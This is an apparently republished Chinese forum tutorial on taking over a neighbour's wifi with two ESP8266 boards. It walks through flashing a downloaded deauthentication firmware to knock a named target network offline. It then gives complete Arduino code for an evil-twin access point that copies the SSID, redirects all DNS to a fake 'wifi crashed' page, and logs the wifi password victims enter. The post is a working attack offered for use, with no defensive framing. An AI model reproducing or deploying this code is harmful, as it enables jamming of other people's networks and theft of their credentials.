利用硬件,拿走你家wifi,没商量
2020-03-26 18:04:54 Author: forum.90sec.com(查看原文) 阅读量:420 收藏

图片

前言

1、使用esp8266wifi攻击+esp8266钓鱼

2、下载资源连接链接链接:https://pan.baidu.com/s/1eT-aenwt6BfG3yEMkp3mKw

提取码:w6uk

3、下载(下载工具)解压并打开ESPFlashDownloadTool.exe,点击ESP8266 DownloadTool,

4、下载1.bin ,并插上esp8266-12F

5、

图片

COM如果没有显示端口,就下载360驱动安装一下驱动,选择完以后,点击START就进入下载

6、烧写成功以后,稍等片刻,会看到一个wifi为zhangguanzhang的ssid,密码为zhangguanzhang,连接上去,地址192.168.4.1,页面如下

图片

选择一个wifi信号比较强的,如图我选中了yanjie,然后点击边栏攻击

图片

点击开始,就可以,目标网络就会断线,客户连接不上。就会尝试连接相同的wifi名称我们使用充电宝作为电源。重新插上另外一块板

7、此时我们创建同SSID的wifi,下载ARDUINO IDE,安装8266板教程https://www.arduino.cn/thread-17884-1-1.html 安装好以后,点击工具,选择开发板nodemcu 1.0(ESP-12F Module) 端口选择新插入板的端口

文件》新建文件》清空代码、复制以下代码,点击✔傍边的箭头上传

代码如下

#include <DNSServer.h>

#include <ESP8266WebServer.h>

#include <ESP8266WiFi.h>

//调试定义

#define DebugBegin(baud_rate) Serial.begin(baud_rate)

#define DebugPrintln(message) Serial.println(message)

#define DebugPrint(message) Serial.print(message)

#define DebugPrintF(...) Serial.printf( __VA_ARGS__ )

const byte DNS_PORT = 53;

IPAddress apIP(192, 168, 1, 1);

DNSServer dnsServer;

ESP8266WebServer webServer(80);

void web(){

String html = "";

html +="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";

html += "<head ><title>wifi崩溃</title></head>";

html += "<h1>Wifi 崩溃</h1>";

html += " <body><script type='text/javascript'>";

html += " var code = prompt('请输入wifi密码修复:');";

html += " window.location.href='app?a='+code;";

html += " </script>";

html += " </body>";

webServer.send(200, "text/html", html);

}

void paa(){

DebugPrintln("密码");

DebugPrintln(webServer.arg(0));

}

void setup() {

DebugBegin(115200);

WiFi.mode(WIFI_AP);

WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));

WiFi.softAP("yanjie");//目标wifi修改成目标wifi

 

// 所有请求都映射到一个具体地址

dnsServer.start(DNS_PORT, "*", apIP);

// replay to all requests with same HTML

webServer.onNotFound([]() {

web();

});

webServer.on("/app",paa);

webServer.begin();

//webServer.onNotFound(paa);

}

void loop() {

dnsServer.processNextRequest();

webServer.handleClient();

}

图片
烧写完以后,我们查看串口信息,波特率115200,正常用户就会尝试连接这个wifi,一旦连接上,就会跳转网页,

图片

请求输入WiFi密码,我尝试输入123456

图片

微信dadvlingd


文章来源: https://forum.90sec.com/t/topic/917/2
如有侵权请联系:admin#unsafe.sh